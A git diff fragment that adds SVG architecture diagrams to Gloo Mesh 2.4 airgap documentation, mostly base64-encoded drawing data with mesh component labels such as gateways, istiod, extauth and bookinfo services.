AwMWWuf9JIXHUwMDBllUZypOM9+LLrMlx1MDAxMtxv+FxygtMrI4FcdTAwMTLPal7TzFhv58ryPc7AXCJcdTAwMTlN/ISmtMhmQnM5re5oObRgXZJA59udICNcdTAwMDEsqSHs7uLf3Vx1MDAwNtxwVvr41mSENVhhOVx1MDAxOeHPZv9sdVx1MDAwZsgjPItSXHUwMDAxXHUwMDBmU0bkXHUwMDE2mVxi/afHTOKlnqTZ13T7hn3W8uE7XHUwMDE5eMTDvZmXcVx1MDAxOVxcxMOxoJyqU1bf71x1MDAwM3gq+WlP44f7Wv75uk+excd1cdT+XHUwMDAxPIdcdTAwMDI8RzreIy2Lc92KqOSK5ddaPoLCsdQlmlx1MDAxZKLK6eDbXYfP3G94SnymvetuJTGDodRcdTAwMTZVTv7nXHUwMDE5XFyAhnxkvKCBXHUwMDAzaKbzlbJPvVxmnGQ/XHUwMDAxQquVRuNZbTQ+XHUwMDExRFtcdTAwMDNuliHa1273x2hcXHo7i7FcdTAwMTlcboq2MLFcdTAwMWGN3HOolCFjNri8iTSTXG5cdDZcdTAwMGU8XHUwMDA3M8wtXHJ2XHUwMDBiZfNX56hcdTAwMDVKmKW4XHUwMDEyXFyamVx1MDAxOVx1MDAxNPklfVx1MDAwN8FZXGaPjFx1MDAwNrmA0U+hXHUwMDFly1ecb+m7VLmQ4HxYqHw8xlAxUUtcdTAwMWVg3Zfyk7pcdTAwMWV30bCCov3nXHUwMDAxYpVUu1x1MDAxN2RcdTAwMWY0k96jkDmQt7K34F9byNgpJFXvPf8ye41H3iaEpO/zL1x1MDAwMTfIXHUwMDE4lZbplyvN1CXkzFx1MDAwYqLmvc04fVx1MDAxM3uMXHUwMDEwVa655UXuZo+ZNCZ2tj0yXHUwMDFlX1xuQkWeQ5VYLKFvZI3Ei+XCjz12KHvsSMd7Lsuus5vcb/hccsLYy25i3vNTXHQyczBcdTAwMTTZwm7yP8/Aoi5GvEWx6aK3mSg+itlEVpBcdTAwMTVcdTAwMThNXFxxk4lcdTAwMWVcXFx1MDAwMXxcbrPpfVxcmoyb9uP/spVs8e7tbKVxz/Ytl1x1MDAwYuv8QceKofR7f7tDJo68J9FcdTAwMDFkXHUwMDEyXHUwMDEyadtxrWPVbJnWk+L1Jlx1MDAxNVx1MDAxNr3Xj/zj9Wfj4TnwmElZ2tPBIXVwQZPpOCowUupM7aF2rDBcdTAwMWRcdTAwMTU/K4l0r929bNPkTabY/EFNh0JNRzref/iy68CY+1xyT1xixuwzXHUwMDAwliW8qVdCjrq0dVx1MDAxMt7/PINcdTAwMGLGqI+M1zJgaFxmM4q1XHUwMDE5XHUwMDA2XHUwMDE3YHP4XHUwMDA0aGxcYre5aLc6rbFHu4OdIdlcdTAwMWH39Vx1MDAxYVizjMpcdTAwMWP73Fx1MDAxZJox5Vx1MDAxOX1cIphcdTAwMTFT+7W5XHUwMDExdX+TVlc10i6Ey8BLJFsr9ydBT6hkVHiaUFxmXHUwMDA1XHUwMDE4mFx1MDAxMcTNWFJ7cDBw/OunNFx1MDAxZifJoe5kY09FWWzd91ufuSnxQCQ/wGxcdTAwMDd31nGO92fZYyy71vnmesNT4j3u3Vx1MDAxZlx1MDAwN2GlXHUwMDE5QVvgPf/zXGYu3sPemoNcdTAwMDRcdTAwMGXuXHUwMDEx43qjOMg1MKeAe7WqbT7jd+C8NSBpXHUwMDA15803uFx1MDAxM5Pa6+VX3G7zuVxuaItQZa45elaDWv82XHUwMDE0enq4XHUwMDFkvGfep7eH7WJwhCl2SFpIcVx1MDAwNDKJgFx1MDAwNbZUw4aptDjYatp8glx1MDAxYlx1MDAwNvFk0k3SXHUwMDEyvOBcdTAwMWShLl1b5EqbXHUwMDAyXG64XHUwMDBmmSHTp+PPdWW6fjrxRHF8V+5Xjt/6cH+j3euFOrVRM1SqVnvd0b+73Vx1MDAxMvxcdTAwMTNIrOYqXHUwMDEzxK6pSz7ueMe3WOZ+v1xy+spcdTAwMDTPyn5JPH3xXHUwMDA0XHSiTCfmzX3x/k89oEJBMUtcYlx1MDAwNoTFmFx1MDAxOZDmkFx0XHUwMDA0c1x1MDAwYisplDbjSn362u0jXHUwMDExMKFcdTAwMTYnUnLTWYNw5TKyWFx1MDAwYlx1MDAwYpnmXHUwMDAzWlPGsdAr5p8kSpsy9Vx1MDAwMIuLb6nq91dLXHUwMDE3S+OEKGFcbl6VqVxidlx1MDAxNJT/rqHnljAj88C05srMnt1xxpF/XHUwMDBln3NTXGbQMiZcdTAwMDKZSUdcdTAwMTQvJq1+7Vx0U0tcdTAwMTBcdTAwMDDcSjJQXHUwMDEwXHUwMDAwJVd77Z1VT1x1MDAxM0/qN9dcbt0vlvvL/nNruWdnoVx1MDAxNVx1MDAwZjXjXG7xbdKs7/OlfCiee43etuRjd1i7XHUwMDEz0UEj4HKPa21RLVx1MDAxMdFaXHUwMDEwjJaGu1x1MDAxMU0sSoHwwUJg0qeaf4P2815yj1OLmHahnJvuZJwunsiim1x1MDAxZFx1MDAxNlx1MDAxNiOUXG4pqeaCrsYjiTIxY6xO6LZcdTAwMGXIoHUv6XODa6T1KFJcdTAwMTXOR1FcdTAwMWEtZKPxaddN+iCLXHUwMDEyrJRcdTAwMDSaME9cdTAwMWRcdTAwMWX+aqNPoiyt4amBfDJccqzpQVpqnk74eJLg/N1cdTAwMTXq21L6rJmA4ZNcdTAwMDWB2FxcOW2OvN77d/fhUK7zeFnrkkp+kEHxNlx0tlx1MDAwNFx1MDAwMjjlN8zGdC9A835K2owgJj5J4t8/X43IwI+1+bqHi3VcdTAwMTa/eyjnUslxvpFcdTAwMWHg57fn5nBa/smCOJiz/UjHe17LXHUwMDFla1x1MDAxMNrBt7vO2+5+w8WyK8x69Dlo1LtE0HiMtmtH6n+eXHUwMDAx9baD7vBcdTAwMWLOSaWy+KF0x0Hc7ZQxY0n+ZFf8ovDf/qxub1x1MDAxY2p151x1MDAxZa1vdbqvQUvLbjf7NndcdTAwMDd8VFx1MDAxMC+2NS3VXHUwMDE0XHUwMDEzdPPWXHK3rPSW0umXpm7nRKae6ryn3nWwcyvmeI8uXCJk2MGyZkxcZpj/XHUwMDAwelx1MDAwMfhx7d1Ac5PUisOiPUkwpVJcdTAwMDc5VOaLylKTbPejUWatcq5RqPfGd7dcdTAwMTl8XHUwMDAwsHekZY+EIZORabh+rZOvXHSEpuGnfEXG1excdTAwMDDr9q/xZXake+nyZ5KxzGW5XHUwMDFmr3mMkd1q3TN7aodedlx1MDAxZChzv+FcdEFcdTAwMTlAXHUwMDBlT1AmkFx1MDAxMFx1MDAxYVx1MDAxMMDmKVx1MDAxMP7nXHUwMDE5ZFDmLeAltdCBXHUwMDA0/CEgXHUwMDE5Q4QpzNRP9dGFXHKRnVx1MDAwMo2twTKrzbQ2QGKeZYLIM1x0glx1MDAxMlx01KC2mDt7815Hg1x1MDAxMU8/p1x1MDAxYo33yeVcdTAwMTO+epmFXHUwMDAy7nRjSFlKXHRgQEZcdTAwMDTnytmaXHUwMDAx7Fx1MDAxNEtoxLmJhlKTXG7hbTntXHUwMDEz8WQuwGs1XHUwMDA3gpiBXHUwMDFlXGZcdTAwMTNcdTAwMTngXuW+mGPygFx1MDAxMtVKhXfJM6o13sOZVu15M2ywj/5ylVx1MDAwMFx1MDAxYidBNMfjfrnVXHJcXO6Dy758JYBn6E95l1x1MDAxZlx1MDAxMkRcdTAwMTTGcovqQ/9HXHUwMDFjUFx1MDAxMcCQZfKfXHUwMDA0XHUwMDE4NVx1MDAxYVx1MDAwNOKCXHUwMDE3f6U8/Ir8MVx1MDAwMbhcdTAwMDUrZDN7XHUwMDBlKlx1MDAwMpBcdTAwMTlVT7QgXHUwMDE0rCtOlEtWlFKWNkOVXGJcdTAwMThfILH06jA/IUyCykmndVx1MDAwNlwi7cFfXHUwMDEzXSylPVxiXGaEzrAgXHUwMDE4U7VcYu5euKc9XHUwMDEw8WeS0pZpXHUwMDBmLHVXSKSbXHUwMDFmtZsnUVxiv7avpome6ywr2JSAu1xiM1qQUlxyXHUwMDAwcjXtgVx1MDAwMM1qQlx1MDAwMNwhLblE9MxHuXjTv7lWKH+x3l/2n1tcdTAwMGI/7N3+XHUwMDE3XHUwMDBiXHUwMDEwXHUwMDA2QnG6ue/46j6eXHUwMDFjdGit9/pQeFx1MDAxZeC+7H7kPoNupjAkiW1cIrHTc4wxcniOhXfK11x1MDAwNpnanlx1MDAxZESlJW2XXCIuk1xc8GLXf/xQXFyAxJCn7JdcdTAwMTCQVFx1MDAwN8c758T2ns/dXFwgXHUwMDEztmRzLytcdTAwMDd751x1MDAxNoCoYYDwxeaZ3uV7efnWqvRcdTAwMGL8MTZcdTAwMWUmUtWnUohcdTAwMDedyakkysJamVxcOvNqXHUwMDBivJhcdTAwMDVcdTAwMTSWXHUwMDE2poJRziSRSPlgnFxyklx1MDAwYjz7XHUwMDA0L2TLwlx1MDAxMWHLpfo9cVx1MDAxY/bKMUP/sWy9kyNiil3NXHUwMDBlrFx1MDAxY588vtkxxbs5XHUwMDFhXGLyUbRCXHUwMDAxeW7jaVDTzGU2okuJ3IyU6p+dytO07DUzPDg8qJi0XHUwMDEwxZKJ+atcXOVBu6r1cTXswYPErevjXG5cdTAwMGZcdTAwMTIkuKl9/4+dXHS5XHUwMDFiXHUwMDBmkoDwINmNXHUwMDA3sU+SL2HSzPTFm4PdXrbKXHUwMDEy3d5D8yWcnNZQJEzuwqWg86BhPVx1MDAwYsuvTqxyhVx1MDAwNe11id5jq4+vXHUwMDA2iSlcdTAwMTSlYHieqbMvflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbdutS2bV18o7Pvn6NlvefyaVx1MDAwNUfG2Fx1MDAxNjm0Sfb+XHUwMDE4x+l6PCojvdebxmRy9VlcdTAwMGY8g0tCLITcrVnD31xudC9cIphqKtkpVSzGhGKmTjrH5kfHXHUwMDFlXFzHXHUwMDEym+91dZ6UIFx1MDAxNG1cdTAwMTH2vrpcdTAwMTXTfnF23Yx2XHUwMDFm6IDPMt3qjddk4IBxoJKgPrl5dbrTpdJcdTAwMGVcdTAwMTbUx2FBl5pBXHUwMDE3XHUwMDE2JJiDusf/sUWCu3EgXHJcYlx1MDAwN9I9klx1MDAwYlx1MDAwNfZMP1x1MDAwMUtUXCKOhNpcXFx1MDAxM8bTvJO9XHUwMDFmhUdcdTAwMDNyJXWi3/xA407Ao1pUm1x1MDAxOcx/XHUwMDEygtFSXFybSFNayVx1MDAwNcOKYI35fkj3wNUkylQ/4pNan/skXHUwMDE4Jm+uSkPy0Vx1MDAxYr6iSrdwd8lcdTAwMTMvjWhwM1x1MDAwMc+tmuRIx3tey1x1MDAxZaua5FxcTmFdPqT7XHJcdTAwMTfLrsiAY+dD2udcdTAwMTCu4EI2r7De3PXif5xcdTAwMDHFhaCRhJ9GUtLSh9JIh0iIXHUwMDE0XG5cdTAwMTOtxE+FyoVcclx1MDAxY45cdTAwMDByVUvD6sVjr+pcdTAwMGVcdTAwMTOPlFx1MDAxNLlcdTAwMDaCLYNHxz53h5GMeZaWXHSiNVx1MDAxNZpvUaNSeVx1MDAxOMpaXCJ5XHUwMDEzmaRZ/eouXHUwMDE2yaXULijyXHUwMDFia1SoRlx1MDAxNl1cXMtcdTAwMWSiuLCw1ppcdTAwMDBeXHUwMDEzxMdd+v1FKlxudlx1MDAwNZ/lZ9r+c5yIp6X+XHUwMDE41/toXHUwMDE2v3zT6PM6Xd1fXHUwMDBmXHUwMDFmadmfXCKVc3xq57LsOqznfsNcdTAwMTNiPZ+u0ZhcdG7yTLdoXCLmf57BXHUwMDA1e9xPcUhqiVx1MDAwMymOQ2A9ylx1MDAwNENanTLnJIBgXHUwMDBmsNPFrDVuXlxcdac992mlR6uB8cdKy3Bvaae7XHUwMDAzPs48XHUwMDAzaFx1MDAxOCMlhNymbO0p2+nnO9P7z1xu5rPbz7typFh/XHUwMDBmut9wnmv71UuAOt33XHUwMDE4bFVLSoP8MJKAgX1aXHUwMDAw7tFcbmvXNjRcdTAwMTRYgbBT1sfsXHUwMDAz+lL44fHjKswnrZFOhWL1l/ro+Ta46OzcXHUwMDFjh0c63iMtm9MprajKvL69JIdccjWLTlx1MDAwNrPXXHUwMDAznMJdXHUwMDBihTqy+Zx9zd6np6JcdTAwMWRcdTAwMTK1psdI+a3WzaCKbJTQMIFz42wpXHUwMDE2RTE86Fx1MDAxZWDd51Qu0u/AaTQ+w7fx2Pvw6XY2PMC6T9O3QSc9ruhy8vPms5VcdTAwMWQ0XHUwMDA2mUNM7D04OayDv+43PCH85drT1YmxpkoysoVcdTAwMGX1P8/gwl/qq0VcdTAwMDWxyEZa9Lv632OKsJQnbZhcdTAwMWJAXHUwMDA0XHUwMDFja/d6XHUwMDE3d7VR89v9nWug4zJcdTAwMDB2bnRcdTAwMGb8y71NV6lMXHUwMDE3Xkw259276+frxn3q6TOuVD5SilXiicvImeFfJ+NySi3KiFRMSI24rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg b/gloo-mesh/platform/2-4/airgap/default/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg new file mode 100644 index 0000000000..cc2b6a67cf --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVMqybfve39cbqPP6986OVx1MDAwZvdNRSZFRVTU2zdcYmZQJlx1MDAxOUQ4cb77XclcdTAwMWUsqMqimKTobfVcdTAwMGVspchKMtfwWyvX8D9/XHUwMDFkXHUwMDFk/T2c9Kp//5+jv6tcdTAwMWblYqtZ6Vx1MDAxN8d//8f8/b3aXHUwMDFmNLtcdTAwMWR4i8x+XHUwMDFmdEf98uzOxnDYXHUwMDFi/J///u9ir+d8fsopd9s/PlltVdvVznBcdTAwMDD3/l/4/ejof2avrmf1q+VhsVNvVWdcdTAwMWaYvfX5OCn44l+vup3Zo1x1MDAxOdJcXEuu8e9cdTAwMWKag1x1MDAxODxuWK3Au7Via1D9fMf86e9pq1V+aMbq96X286SeL2dTd5Pbz6fWmq1Wbjhp/fhexXJj1HfNaTDsd1+r+WZl2ID38cLff39u0IVcdTAwMTX4/FS/O6o3OtWB+f7o91+7vWK5OZyYcdDnX38sgvu+XHUwMDBm+E1cdMZcdTAwMWONidCKmVf2+13zeUKUcCiiXHUwMDE4XHUwMDExTDWVi/M667a6fTOv/2KaIy4/Z1Yqll/rML1O5fNcdTAwMWVcdTAwMTitVFx1MDAxNZ/3jH9+W0KIg1x1MDAxOVFcXM5ehfrclEa1WW9cZs09XG47v26YvdLPqVRnW4I1Ulxuw7/fb5jn91KVT+KY/VWNy6+N2GXtXHUwMDBl0cdcdTAwMTOVzTyKflv8/fP9/7e48I1iv/dzgf+efVx1MDAxZNdXNL+eL1x1MDAxMqCbXGJdxJErvVckPn5u9586p9c3pDrqXHUwMDE0XHUwMDFlf481R7HFfr87/vv3O//7n6Bx31tF9lFLUn42uKZcdTAwMWaj51x1MDAxM1JIlMON6/nKo16l+IO8sWBKwZJLzJH+/X6r2XmFNzujVusv18xWYznFrCyHgYZcdTAwMTTHQtLQPFx1MDAxNyek/1SOXHUwMDE1ZeHqcaJO38+HhVT263hcdTAwMGWvyXOcOlx1MDAxOLhKMmFe6TzPwV9cdTAwMWMqXHUwMDA1YpwzxTViVqZDStZ4KZjpMCkp5cd0SDnEdTHhw3REONp9MVx1MDAwZtNcdTAwMDHHYSwoVTvjuoH5ZU2uu7+7XHUwMDFijDKlartxU8qPaHY0vjn+2Fx1MDAwMtddXHJOTq+fr3LxSvWCXGZFgeBEu1x1MDAxZmmuc23QXHUwMDAy11x1MDAxMc5cdTAwMDVXmvLQTDesnEx6qv1y3v84T+fKr7XJNItcIs90SiEgZoJcdTAwMDRl8MrFPNNcdTAwMTlFx7VcIkJKiVx1MDAxNCbcynSbaDpMXGKa4yjlw3TKy2VIXHUwMDFh0ShcdTAwMTWJpG57eMueXHUwMDE3842nTCpX71xu9YEmhZfpXHUwMDE2uOxRkHr6vplBqsin5TNCmrhcdTAwMWaLNJdcdGbjMsxcdTAwMDC1IK2lXGbNZuI9XWu8XHUwMDE2X87O+Vx1MDAxOSmWT1tvzYyKOptp0Fx1MDAwNy42XHUwMDEzXHUwMDBieJJiXHUwMDFkks32r9uIlEJLgnbHdHtSbfthXHUwMDBl6VrIXHUwMDA15lx1MDAwMFxypFxiVzi8XG5qVS7Ob+OZu+Nqp9mf3p/HxE1cdTAwMTNHnjc40Vx1MDAwZehaSVx1MDAxMYZXouZ5g1xi5KBwvDG7XHUwMDAyeWPYL3ZcdTAwMDa9Ylx1MDAxZkjJy1x1MDAxZkrLedr3slx1MDAwN1CBI1xcXHUwMDE3X+RcdTAwMGVMlERCXHUwMDEzsTPu2EQlqWx1nHkvXHUwMDE2Plx1MDAxYcNW6WOKSmxwXHUwMDFiUnVcdTAwMDSqpOvTkVx1MDAxOI/x6fRMTotcdTAwMWbJc5o+jie3MO5cdTAwMDbm4X64mWNt42awXHUwMDA2uJRMh9d0qll8LFx1MDAxNdqvt92p6jy8JZR8XHUwMDFkXHUwMDFlR52bXHUwMDE1VzxcdTAwMWHcrOhybsZcdTAwMWX+ZVhRYOL9QcqvXHUwMDA2Z1jaKFx1MDAxNmPEJFx1MDAxMW6aXqqAqtlLfPd6fZtO9cmAXFwk8qnGNPIkq5F0mNVcdTAwMDaimFx1MDAxZlxmOMNcdTAwMWP+SLn+s/xcdTAwMGVcdTAwMDenJlx1MDAwNLNaREBcdTAwMDdcdTAwMTI0XHUwMDA1XHUwMDE24T3syXrj4n2i2PTtZlxcfSrnS/l+f1x1MDAxMH1cdTAwMGY7+aEnNMaaKrVgXHUwMDExXHREXHUwMDFjhqhkoEKkYnZn30Z+XHUwMDA3KdhcdTAwMWNDUS/PUZfi+MlkjFKJXHUwMDE42yGTbYLxLtJcdTAwMTfpp9MzWXj5eH7pZc4mfcHOo8xcZpxcbiszYCwl11KEXHUwMDA3Te9cdTAwMGZx+TS5wtd3V1x1MDAxN723k5SmZHpcdTAwMTZ1XHKkgVx1MDAwZlx1MDAwMkCTXHUwMDAwXHUwMDAzKSRo2kBcdTAwMDNJhJZcdTAwMDEmTLyASUht9Fx1MDAxNWc744Y/ylx1MDAxZiCw/SBIXHUwMDAxXHUwMDE2Q0iuoFx1MDAxYc7jz3Gg/5PUWZyd3j1+PCBy8XBcdTAwMDDcoFx1MDAwMrhBXG7qmFNoplx1MDAxOFx1MDAwNfWwM2bwwV+A0ZD78py2aiExXHUwMDAxOFx1MDAxOU1meOvg12kxPUgm8yX0mG/cpt7Oe1FmXHUwMDA2zq2qXHUwMDAxU4JcdTAwMTXXmIRXXHK4mEyfXsXY9VmlmlwiLzTHemcxXHUwMDBiMyxcdTAwMTD1PCssopFcdTAwMWSyXHUwMDAyQSyAXHUwMDE1KJchTVx1MDAxM4BbVV1cdTAwMGXmhVKVlSolXHUwMDFmmFx1MDAwNCjJQva/WYN7UFx1MDAxMmaII4l3aElvwlxupfNk6q72kutcclxiukueI1l/PT71Z4Vh9WNcdTAwMTjWXHUwMDEykcNmaVCdKpJ+bLZcdTAwMWXbtePqI2VbsHDOXHUwMDBi2TOcYelxt5TBN49DfZH8yG1h3PJ7KSFjndOXuybNqeTk7uXsvLSFcXe0vN/DmoCqwclcdLmenD6o01x1MDAwNi691lx1MDAxZq5cdTAwMGI5vNGezc3iP2G/SMjpjti4Mnm+eWW343g/e90+ezvLdvesdOa+6Jy+sTvDXHUwMDE4MUJcdTAwMTax8OAreP+jXG6+XGJcbjqNoTPwXHUwMDE1RuPUZtf6/lvssih+q1x1MDAxOfY5nZ9qRlxioFx1MDAwM+NB2JuaWYs8P6mg21x1MDAxOeaa01x1MDAxZq6fub/Gi+1mazK3kTO6hSk1O/U+zO7on05cdTAwMWRcdTAwMWU4Lk7cyzyownNmsZrzXHUwMDFmPGk1652Z0IeZV/tz9D9slout3ze0m5WKXHUwMDFikJVhNkVcdTAwMTizn1xug6O6/Wa92Sm27lx1MDAxNib7a6pcdTAwMWLAQW21jYRmmlLFwqPBXuNdx1x1MDAxZY+r73VcdTAwMTa/Lt1M5WlcdTAwMTHTyKNBXHUwMDEywJuM0+iiQa7AelJcbkfTMorTS9F6unuhXHRcdTAwMTWvXHUwMDE13plcdTAwMWN34+1vOLgtOLij5d3RsPihU1x1MDAxNuWHQumlmj9DJ4nsKVx1MDAxYV/9cauw9WGXoUz/XHUwMDA37lx1MDAxMVxyXG5ijVx1MDAwZcXMhNtcdTAwMWJBXHUwMDFiWt9cdTAwMDSvZ3TRYJBjmvGwjukvQoNYc8FcdTAwMDGj/1FosFpcdTAwMWNcZsfVwXBPcHBcdJBahIO/Z7s5XHUwMDFllCrAXFxDXGIzLUj4pIlcbn2qYYJQZnxyeXky7vfuaaK3XHUwMDBlIPzKlFx0yVx1MDAxZOKX/WM+T1x1MDAxMdFcdTAwMGXmVFx1MDAxMUqJoEJZuTNErM228aBcdTAwMDRbm0hEoulcdTAwMWU86bevr9Wzks3a3TDRLVx1MDAxNcrPZ1x1MDAxNk/5N1x1MDAxZVxcfdxcdTAwMWQt72Fccpsvn1x1MDAxNodvJcTvh6lSLIknk2Ls7HtxN1x1MDAxZHZcdTAwMTnM9H/gXHUwMDFlYaai1lxicIywwVWrpEdcdTAwMDSvZ0Rhplx1MDAxMlxuXHUwMDA16TEmXHUwMDAwhP7WY3phXjtGmcSbXHUwMDAywYXGSLD96a59+Fx1MDAxY1x1MDAwN8Nmt+KLLF0hpFtFlktcdTAwMTCZx9H4Y4ZcdTAwMWLgSVdcdTAwMDCYJ1x0lyFcdTAwMTNuQMPHwpbu1OQ0XW6/tU/T6UH5lTZjz7awvIjgSU2wdpRCmlx1MDAxM1xury5v6lx1MDAwZj6kxCGCacpcdTAwMTiVTOqNgrftUXlrXHUwMDAySlx1MDAwMTaqYFx1MDAxNO2NKYPUXFxzcpNghVfRvz2eZqaZ+5R+zr9+XHUwMDAzym1cdTAwMDHKXHUwMDFkLe+Ohn3QWa2ount5fb7s19U4NnpcdTAwMWK/bGFcdTAwMTUyTXTclo2n+5f7q9y7aFx1MDAxZItqo7WFce9QWdaLqH+BXHUwMDFmhvfFRFxmJfBbZ1x1MDAwYuOKk5GeZG5ytXbhg46KMf3WOOFbXHUwMDE4NzHKnuduYlx1MDAwZpfPJ2JSJVx1MDAxZvKleXnxx1HZ1oddhqz9XHUwMDFmuE9kTYLC7Fx1MDAwMUxcdTAwMTKCwlx1MDAxZudcdTAwMDevZ0SRtSaEXHUwMDA1anTpyN9cdTAwMWFdXHUwMDA1XHUwMDE01fhcIlx1MDAwNy7sXHUwMDBiQ0pztbtcdTAwMDTKXGJi60Sr2z3KVFx1MDAwN42jfzrF+tz6fYFcdTAwMDN3XHRQXYTZn5P9MdW1WFNcdTAwMTBroiRcdTAwMTZcblx1MDAwYs31XG6Rnefdt1x1MDAwZlTpdVx1MDAwYqg21o/Zt8SL4qmosyZcdTAwMDazVlx1MDAwMZ7GXHUwMDFhMWle8Vx1MDAxY29cdTAwMTKOqUPB4FAmJY1cdTAwMTNXXHUwMDBlxFwib2IlWDE40DmQN1x09ym44crK+Fx1MDAxNWqjXHUwMDE5xVHNLdtTXHUwMDBlmC/fq7B8X+p2X5udWvdo3O2/wvaUq76M7zpXW43xh92ejevnJr/I4j7zXG7k8lx1MDAxZivqw+ZcdTAwMThxO5/Pin9gXHUwMDEx3qJcdTAwMGXe40ha1MDkXHUwMDFjXHUwMDE5JmeUIS2Eklx1MDAwYkxOiCOlhJtcdTAwMTjlXGK5jqvWYHK7SVxyXHUwMDAyxFx1MDAwMTHCkFRcdTAwMTIkK/ay+49cdTAwMTQjJrlgXGJcdTAwMTMzXHUwMDE1j4XNODCCwHJ/eW+bsehgWOxcdTAwMGZPm51Ks1OH9z6FyK96ialcdTAwMTBFNGZMXVx1MDAxZc1cdTAwMTJcdTAwMWZcdTAwMWRcblunXHUwMDE54phI2FrEqeuuerFnlpU4XHUwMDAyXHUwMDExiUyZQJPlRcjPO36D7L+rnUqISVx1MDAwNSZWuyaFXHUwMDFkoCRCKMdGZVxi8lx0gd1zYlRcdTAwMDD0I7NkXHUwMDE1xahnTq3iYHjWbbebQ1jkm26zM/RdzFx1MDAxM8P3jWrRI1DgO7nfW1x1MDAxNFx1MDAxMD0z4jzVfP7f0SdcdTAwMGLNfvn9///vP753XHUwMDFmW6nbXFxeuv5cdTAwMWPvL/fPlWOFkb2qXHUwMDExgF2FJOHhK7c8Xr5cXE66md6bvuzVcG+SL58nbFx1MDAxNfuiI9pkUDiiXHUwMDEweIt589YqmcxcdTAwMDe7SK/wXHUwMDEyMFx1MDAxM4ap3p17cLfCayN8cVxc68ONwJSDfzqdYrtqh1x1MDAxYWJdXHUwMDFiY1Oo4T/F9TiTXHUwMDA1hIVcYlx1MDAxMMNMr1x1MDAwMDra9dhbspmq3taLnfSgoEbT0sko8pypiIOtnKko22I+sZUzqU9cdTAwMDaxlzNNNTRcbjiI7i4yeJN0+j3lTG6J781+RZvt/Wa4nq2hXV9ike2B5E2y6FxuZauDXHUwMDEzx6PK9lI6UnGuXHUwMDExXHUwMDAyMLpYU0OaXFxSrTXhQkiFXFxcdTAwMTVmtsn2YFwiOKZcbo2JxGTMXHUwMDFkovdbXGKAQcTQrJA48L7ESjOPr1x1MDAwMcOHhYnm3F8hta1cdTAwMWFcdTAwMWKL6Hg54lx1MDAwZi5kMWeGXHUwMDAw2lx1MDAxN1x1MDAxNCuEjH1cdTAwMDGr6oX8mDicSCpcdTAwMThcdTAwMDZ4LMEs0Fx1MDAwN1x1MDAwZfltRDZ714e+Vlx1MDAwNP12h1x1MDAwNkV2h1x1MDAwNlx1MDAwMimj2SpB4cHaJbJSRjhgy8JcdTAwMTfVIFRdNVx1MDAxMH+AXHUwMDBiIVx1MDAxZNhcdTAwMTKkQFx1MDAwZVx1MDAxMaRcdTAwMDM8XHUwMDFh25QyxCdIXHUwMDAwOfB0Uz6GgKxcdTAwMTNcdTAwMTJxTyCPJnBcdTAwMDdcdTAwMDUy+XdcYlx1MDAxOZsoXHSGsHOiXHUwMDA0